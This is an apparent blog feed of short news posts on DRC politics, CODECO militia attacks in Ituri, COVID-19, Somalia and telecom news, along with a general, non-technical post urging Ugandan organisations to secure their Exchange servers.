It could be seen Aubin Minaku, Ramazani Shadary, the permanent secretary of the pprd, Jaynet Kabila, National MP and Chairman of the Defense and Security Committee, Félix Kabange Numbi, Evariste Boshab, Aubin Minaku, Geneviève Ibagosi, Moses Ekanga, Mbuyu, an advice from the honorary president Henry Mova Sakanyi, Colette Tshomba,.. all called for the freedom of a minister for whom they denounce an arbitrary arrest.
In any case, there is evidence that the pressure that the main party of one of the power groups has paid. Otherwise, the pressure with which the minister was arrested, he should not be so easily released. We were already talking about a trial in flagrancy and even the verdict would come out this very night.
Was there justice or it was the pressure and influence of the former presidential party that took it away. We'll definitely know.
On the other hand, at the end of the hearing, Minister Tiguan headed, with his party mates, at the permanent service.
Very angry, Emmanuel Ramazani Shadary said that there is no one who can bully them. In fact, he promises to release an action schedule this Sunday to block the road to what they call a dictatorship.
Célestin Tiguan, Vice-Prime Minister, Minister of Justice and seal rank was arrested this Saturday's evening on instructions from the General Attorney General near the Court of Cassation. This one was accused of fake and using fake.

 "It is neither a judge nor a president of the Republic, but it was Tiguan who instructed the prosecutor about the 100-day trials" (Shadary)
vital Kamerhe during the trial says "100 days"
Emmanuel Ramazani Shadary, Permanent Secretary of the pprd, the party of former President Joseph Kabila, was back this Saturday at the headquarters of his political formation, following the arrest of Célestin Tiguan Ya Kasende, Deputy Prime Minister, Minister of Justice and Guard of the seals.
For him, Tiguan could not undergo this treatment as he is on the front line in the requests that have resulted in the so-called "100 days" trials.
" We are for the rule of law. They talked here about the 100 day trial. The deputy prime minister educated the prosecutor's office to investigate this case ", he said.
According to him, all the honour goes to the Deputy Prime Minister, Minister of Justice and Guard of the Seals.
" This is neither a judge nor a president of the republic. Minister Tiguan did this for the rule of law to rule in this country ", he added.
As a reminder, this Saturday, vital Kamerhe has been sentenced to 20 years of forced labor, in addition to accessory sentences, including the ban on access to any public office, for the 10 years following the end of his sentence of prison of freedom.
Justice had also sentenced Benjamin Wanga and Fulgence Lobota Bamaros, Director General of the Office of Roads and Drainage (OVD) and the National Road Maintenance Fund (FONER) to three of the forced labor. They had been found guilty of misappropriation of public money. For his part, Modest Makabuza, boss of Congolese construction company (SOCOC) was given a year of forced labor. He was found guilty of complicity in abuse.
Emmanuel Ramazani Shadary, Permanent Secretary of the pprd, former President Joseph Kabila's party, sent a message to Cape for Change (cach) about the future of their coalition. He remembered the position displayed since the beginning of this week by his political formation: the pprd no longer rule out co-existence with camp Tshisekedi.
" We repeat it today with strength. They say it's not right to go in coalition with us. We are sure they say anything in front of their militants, even of. Everyone knows the truth of what happened. They tell of of ", he said at the headquarters of the pprd after the release of Célestin Tiguan Ya Kasende, Deputy Prime Minister, Minister of Justice and Guard of the Seals.
And he goes further:
" If they no longer want the coalition, we have said it loud and clear that we are heading towards the Constitution consequences. This means setting up co-existence and that the FCC manages the Republic and FCC will be responsible for its actions in front of the people ".
Still this week, Augustin Kabuya, General Secretary a. i of udps, did not seem intimidated by this position. He also mentioned what he sees as "hypocrisy on the part of the FCC".
" Since we've been in this coalition. Everything they pose as an act doesn't reassure anyone. We did 7 months to form the government. There's a problem ", he said.
And add:
" They are in a logic to take us into a distraction. We saw it again during the talks for public company leaders ".
He even announces that it is considering giving "a word of order" if the FCC does not withdraw the bills .

From yesterday morning I have been trying to contact a lot of my contemporaries with an aim of trying to understand what is really behind CODECO,it seems thus militia group is deep rooted in the societies of Ituri,but the biggest question is"does the DRC gorvenment know this?what does MONUSCO exhaustively say about CODECO?? Has FARDC failed to uproot them?
...This is what happened in the night of Friday to Saturday.....

Civil society in chiefdom of Bahema Badgere, Djugu territory reports 12 civilians killed in attacks attributed to CODECO militiamen, between Friday and Saturday June 27, 2020.
“Around 3 pm on Friday, in the village, they killed 4 people including the village chief and a midwife who works in a local health center, before also injuring 1 man. The night of that same Friday to Saturday, they attacked the villages of Kodjo and Mbata where they killed 8 people "as  reported by Molodra Désiré, coordinator of this citizen structure.
Mr. Molodra pleads for a sufficient deployment of FARDC soldiers in certain villages such as Goba and Nzalda where there is no presence of the police.
However ,up to now,the FARDC army has not yet given more substantiated information about this attack,but the civilians confirmed the attack.
The militia of CODECO active for 3 years in the province of Ituri, multiplied atrocities against the civil populations which made several hundreds of deaths since the beginning of the current year, acts that the criminal court international ICC describes as "likely to constitute war crimes and crimes against humanity".

LUCHA calls for investigations on the killings by ADF-NALU and CODECO in ITURI

LUCHA, Lutte pour le Changement, expresses its deep concern at the deterioration of security in Ituri and North Kivu. Crimes that should not go unpunished.
In a press briefing held this Friday June 26, 2020 in Bunia, this citizen movement, in a series of recommendations to international and national decision-makers, suggests opening an international investigation to identify and punish the perpetrators of these serious crimes in two provinces.
"An independent, impartial, transparent and swift international investigation is needed to establish the facts and the responsibility for the killings, mutilations, kidnappings, destruction and looting perpetrated in the Beni region and in Ituri since the recent wave of violence. This investigation should focus in particular on the identification of the actors in the massacres and other serious acts, on the role of the Congolese civil and military authorities (…) "read their press release.
Beyond the judicial aspect, this civic structure through its communication unit in Ituri, also wishes efforts on the security, humanitarian and reconciliation levels.
"There is an urgent need to establish an international military force, reinforced in troops and resources, with the mandate of ensuring the effective protection of civilians, tracking down the perpetrators of the massacres, and stabilizing Ituri and Beni on the model of the Artémis operation in 2003 ”.
In Ituri, since 2017, the mystical-religious movement of CODECO has been the source of insecurity in Djugu and Mahagi. The Beni region of North Kivu is insecure due to the activism of the ADF / NALU rebels nearly 6 years ago, where civilians are killed and abducted, houses burned and looted.
In the two provinces, the humanitarian situation remains precarious with a very high number of displaced people, sometimes without any assistance.
A few days ago, the Prosecutor of the International Criminal Court (ICC), Fatou Bensouda, expressed concern about investigating the atrocities of Djugu and Mahagi, in Ituri.

web sites you van visit to get good past papers for Senior Four and senior six

Among the sectors hard hit by Corona pandemic is education!! In our country,Students and pupils are at this time not sure if they will continue with their education this year.However,the gorvenment has assured the country of the commencement of schools in coming month.The most hardly hit in this sector are childrenbof poor people and those from poor villages where it has been too hard to access education means that can be readily available and availed to students and pupils from rich families and urban areas.The issue using TVs and radios to carry out teaching or revisions is more favourable to students in rich families and from urban areas.Even if it was the accessiblity of learning materials over the Internet,this again favours the students from rich families and those from towns due to the reasons you all know.There has been a feeling that even the enforcement of covid19 directives was more harsh in these upcountry areas than in towns,and as a result parents and students were and are not in condusive modes and moods to carry on individual studies.
We have seen government instill measures and carry on education programs on Radios and ts or via the internet,but all this only favours the students from urban area and from rich families to a bigger extent!!!

However as you are still in this lockdown these links can provide good information, education materials ...that can help you.
Always visit these sites ,and download exams and exercises which you can share and work upon.
http://www.education.go.ug/covid-19-sector-response/
https://etutoring.gayazahs.sc.ug/class/senior-4
https://mobile.facebook.com/GayazaHighSchool/posts/635905989789206?_rdc=1&_rdr

You can also search for other sites...!

NB; You can do these exercises, and share over social media to compare your answers and how you have done it!! Let social media not be for unuseful things and leisure! May God bless you

MTN,Orange,Vodacom and Airtel teamed up to launch a healthy digital platform meant to reach more than 600 million mobile phone subscribers across this continent.

 MTN, Vodacom, Airtel and Orange are the africa's telecommunications giants behind the newly launched digital health platform designed to reach more than 600 million mobile phone subscribers across this continent.
The  aims of this platform is to mitigate the health and economic impact of COVID-19 and it is fully suppprted by United Nations Economic Commission for Africa (ECA) is behind the Africa Communication and Information Platform (ACIP) for Health and Economic Action which describes the platform, which was launched on 23 June 2020, as two-way communication between citizens and health authorities, adding that it has the potential to reach 80% of Africa’s  mobile phone subscribers.
You can read a full dossier here

Local chief pleads to MONUSCO to establish bases in mwanga, Solowa and Tseli in ITURI to protect DRC civilians from rebel attacks

Thursday, June 25, 2020 as part of a mission to assess the role of Monusco in the protection of civilians, Zorabo Lemy Jonas, chief of chiefdom of Baboa-Bokoe located about ten kilometers northwest of Bunia has pleaded for the installation of a military base in the locality of Mwanga several times targeted by the attacks of the militiamen of CODECO.
"We need a Monusco base in Mwanga, Solowa and Tseli where there are often attacks by CODECO attackers", he said.
The customary authority has also invited the peacekeepers to step up their patrols and also fund some development projects in this area.
For his part Atiminedi Utundeni, in charge of gender, family and children in this chiefdom has prohibited the local population from carrying out defamation campaigns against the UN soldiers who are often wrongly accused of supporting the enemies of peace by providing them weapons and ammunition.
Last month, several voices were raised in Ituri demanding the departure of Monusco, in particular civil society and the caucus of parliamentarians from this province, believing that the UN mission was not doing enough to protect civilians.

12 FRDC soldiers of the naval base in kasenyi face sentence of 10 years.

12 soldiers from the naval force based in Kasenyi, each receive 10 years of sentence. Sentence pronounced by the military court garrison of Ituri, this Thursday, June 25, 2020, sitting in a fairground.
Among the 12 soldiers of the Armed Forces of the Democratic Republic of Congo (FARDC), 3 were sentenced pay penalty. All will have to pay 150,000 Congolese legal fees to the public treasury. However, due to lack of evidence, a master was acquitted by the same court.
They are mainly prosecuted by the organ of the law for in particular, violation of instructions, rebellion and dissipation of munitions of war, affirms the military spokesman in Ituri, lieutenant Jules Ngongo.
Note that this trial in matters of flagrancy was opened on Wednesday June 24 in Kasenyi, locality bordering Lake Albert, after these soldiers dissatisfied with the death of their leader in an ambush set by the CODECO militia, fired shots fire in the air. Situation which was the basis of a psychosis in this region.

North Kivu and ituri declared free of Ebola prior to recent rumours of probable cases !

It was during a press conference held this Thursday, June 25, 2020 at the government hotel that the Minister of Public Health declared the end of the Ebola epidemic in the eastern part of the Democratic Republic of the Congo, more particularly in the provinces of North Kivu and Ituri.
The minister said that the victory over this long epidemic also comes from the result of international cooperation through its partners.
The 10th epidemic had resurfaced in April in Beni, the last healing dates back 57 days.
For the moment, the Ebola epidemic still remains in the western part of the DRC, more precisely in the province of Equateur where the medical profession is working hard to eradicate this epidemic, said the Minister of health Eteni Longondo.

CODECO militiamen attacked a Monusco convoy on Tuesday evening.

Since last evening we had got rumours of this attack but had not yet got proof!! Here is the full report;
The peacekeepers of the Bangladeshi Monusco contingent based in Bayoo in Djugu territory came under fire from CODECO militiamen on Tuesday, June 23, 2020 in the afternoon.
It was then that they led a patrol in the locality of Gali where 35 of these attackers attacked loyalist FARDC soldiers and the Congolese police.
The UN soldiers who decided to open fire managed to dislodge these rebels from their position by firing multiple shots from their armored vehicles.
A Mission attack helicopter even went into action to dissuade attackers from attacking civilian populations, which has resulted in no reports of loss of life, a source narrated.
Calm has returned to the area which remains under the control of the Congolese army supported by MONUSCO forces.
The peacekeepers are engaged alongside the Congolese soldiers in the sweeping operations against the CODECO militiamen who have been active for 3 years in Djugu territory where they have committed several acts of violence against the civilian population.

Scientists say that it is hard to prove that COVID19 is natural or man made!

The COVID-19 pandemic is still ongoing. The number of cases is steadily growing worldwide, and it’s too early to talk about a drastic change. Virologists have no doubt that the virus outbreak is likely to recur in the future.
What lessons have scientists learned from this situation? What questions do they have yet to answer? This was discussed during an online meeting organised by the Ministry of Science and Higher Education of the Russian Federation, the Russian Academy of Sciences, and the Scientific Russia portal.
COVID-19 has posed serious public health challenges related to shortages of hospital beds and staff, as well as the need to treat an unknown disease: there were no regulations, no clinical recommendations, or evidence base.
All these challenges required flexible solutions and new scientific research , which had never been carried out so quickly before.
“We see how our ideas regarding antiviral therapy, mechanical ventilation, glucocorticoids and anticoagulants have changed over five months. Approaches have been revised amid a complete lack of evidence regarding managing these patients. We focused more on analogies with other viruses and the state of acute respiratory distress syndrome (ARDS), which turned out to be not entirely applicable to COVID-19”, Evgeny Shlyakhto, RAS academician, director general of the Almazov National Medical Research Centre, said.
He cited one of the bright examples of therapy "turns": in January, COVID-19 was treated with Kaletra (a drug designed to treat HIV), and now no one is using it in COVID-19 treatment.
“Initially, we focused on the number of intensive care beds and lung ventilators, but now we see that mechanical ventilation capacities are extremely limited due to the high mortality rate”, Evgeny Shlyakhto stressed.
The academician considers the search for a new strategy to restore lung tissue after a coronavirus infection to be an urgent scientific challenge.
“The damage caused by a cytokine storm will lead to enormous consequences in the form of alveolar fibrosis, respiratory failure and pulmonary hypertension development. These problems are not going to disappear, and we need new scientific approaches to reduce fibro-formation”, he explained.
Shlyakhto is considering peptide-coated gold nanoparticles (LIF nanoparticles), a recent and one of the most promising developments in this direction. Inhaled nanoparticles reduce pneumonia by inducing the transition of the M1 macrophage phenotype to M2 and increasing the anti-inflammatory cytokine.
In general, in his opinion, COVID-19 has shown that the healthcare system needs a new HR policy that implies rejecting doctors’ hyper-specialisation.
“We have always had a huge number of specialists, and there is no one to make diagnoses. As a result, we need different specialists, but with parallel competencies. We cannot make every doctor a resuscitator, but many specialists should have resuscitation skills”, he said.
Super-Spreaders and a Second Wave
According to scientists, closing borders between countries is now pointless, since the virus is so widespread in all countries that transferring it across the border will be of little epidemiological significance.
But they still consider banning or restricting mass events one of the most effective and lasting measures.
Alexander Lukashev, corresponding member of RAS, head of the Martsinovsky Institute of Medical Parasitology, Tropical and Vector-Borne Diseases, explains this by the fact that the key role in the virus spread is played by so-called super-spreaders, people with a high virus titre in the nasopharynx who are in crowded places, infecting a large number of other people.
“We learned this very important lesson from the first SARS outbreak in 2003 when just five people infected half of the rest. If we rule out the phenomenon of super-spreading, we radically change the virus spread dynamics. This observation was confirmed for COVID-19 as well. In this sense, banning mass events plays a huge role”, the scientist explained.
It’s necessary to control the virus spread until there is an immune layer that stops the virus. According to the scientist, up to this point, it is highly likely that there will be a second wave.
“Iran is already facing a second wave. Moreover, if the first wave was at temperatures of +14 degrees, now the virus is spreading at temperatures of +27 degrees”, Alexander Lukashev added.
It's Unprovable Whether It's an Artificial Virus or a Natural One
Currently, the world is actively discussing the virus’ possible artificial origin. However, for scientists who study coronaviruses, that is not the question.
“What happened in 2019 is just a repetition of the regular process that has occurred many times before. An assessment of evolutionary plasticity boundaries suggests that the inserts described in coronaviruses’ genomes are most likely the result of a natural process”, the scientist noted.
On the other hand, he admits that “there are a number of scenarios that are possible, but untraceable”: it is either a “successful” natural scenario propagated in the laboratory, an adaptation of an unknown natural virus or a chimaera of previously unknown natural viruses.
“All of the above is quite logical; any scientist studying coronaviruses’ emergence mechanisms could have got such results in a lab with a sufficient level of safety”, he explained, adding that technology doesn’t yet allow inventing such a virus in a lab, but it’s quite realistic to adapt it.
However, he believes that the results of such experiments cannot be traced at the molecular level. Hence the scientist’s conclusion that it is unprovable whether it is an artificial virus or a natural one.
Gennady Onishchenko, RAS academician, member of the Presidium of the Russian Academy of Sciences, pointed out that the situation with the physical origin of the virus is ambiguous, and the outbreak needs a thorough international investigation.
“The investigation should be based on the Convention on the Prohibition of the Development, Production and Stockpiling of Bacteriological and Toxin Weapons (BTWC). We will have to return to the mechanisms of differentiating such incidents and find out whether there was any deliberate intent”, the Russian academician stressed.
“BTWC control mechanism ratification has been foiled by the United States. If these mechanisms worked, an international expert group could come to any labs involved in genetically modified work with coronaviruses, without asking anyone’s permission”, he added.
......From my Russian friend who is a medical academician.....

Airtel has revised mobile money rates today!

Airtel Uganda has revised the rates for sending money from Airtel to Airtel effective 25th June 2020. Dial *185# to send, receive, withdraw and make payments using Airtel Money.

Somalia accusés iran of its flagged vessels illegally carrying out fishing in its waters.what are they doing there, ils it really fishing only???

In a statement released by the ministry of fishing and marine resource of the federal government of Somalia has accused the Iranian ships of illegal fishing in Somalia’s boundary.
Since the recent Somali government rule by Siyad Bare’s regime collapse in 1991, the illegal ships have been operating in the Somalia sea which has affected the economic growth of Somalia.

Somali national army kills six alshabab fighters!

The Somali National Army seized four villages from Al-Shabab in Lower Jubba after long hours of battle with the Al-Shabab militant group.
The somali national army killed six Al-Shabab fighters in the operations launched in Hawaljiri, Bernasey, yaq-Bishaar and Osbo villages and later sized all the villages.
This operation comes during the newly appointed Brigadier General Abbas Amin Ali took charge at the Land Force in the region.
The former Land Forces Brigadier General Abdihahid Mohamed Dirir has been replaced to the Navy forces last week to lead on the operation of fighting the militant.

Every Uganda organisation or institution must learn this to defend its exchange servers from attackers!!! Since every activity is now being done online organizations must be extra careful on the security of their servers.

I do not know if every or any organisation in eastafrica takes it as a priority to monitor the security of their exchange servers.we have many firms that should be extra careful with the security of their servers,i mean banks,hospitals,army institutions,..etc but what is annoying is that even these institutions have not time or careless in studying and analysing threats or vulnerablities.Every organisation must strive to Secure its Exchange servers as it is one of the most important things defenders can do to limit organizational exposure to attacks. Any threat or vulnerability impacting Exchange servers should be treated with the highest priority because these servers contain critical business data, as well as highly privileged accounts that attackers attempt to compromise to gain admin rights to the server and, consequently, complete control of the network.
Weak security of compromised Exchange servers provide a unique environment that could allow attackers to exexute various tasks using the same built-in tools or scripts that admins use for maintenance. This is exacerbated by the fact that Exchange servers have traditionally lacked antivirus solutions, network protection, the latest security updates, and proper security configuration, often intentionally, due to the misguided notion that these protections interfere with normal Exchange functions. Attackers know this, and they leverage this knowledge to gain a stable foothold on a target organization. Exchange servers are compromised in two ways:The common scenario is attackers launching social engineering or drive-by download attacks targeting endpoints, ( vulnerabilities like CVE-2020-0688)where they steal credentials and move laterally to other endpoints in a progressive dump-escalate-move method until they gain access to an Exchange server.
The second scenario is where attackers exploit a remote code execution vulnerability affecting the underlying Internet Information Service (IIS) component of a target Exchange server. This is an attacker’s dream: directly landing on a server and, if the server has misconfigured access levels, gain system privileges.You can read more on this! 

Protestor storm the people's palace in kinshasha

The governor of the city of Kinshasa, Gentiny Ngobila Happy, tried to calm the protesters this Wednesday, June 2020, 24 around the People's Palace in Kinshasa.
The latter, despite the intervention of the city's first citizen, continued their protest movement against the bills introduced by national MPs Aubin Minaku and Garry Sakata on justice reform.
Protesters simply demand the rejection by the office of the lower house of Parliament of these bills, which they call unconstitutional.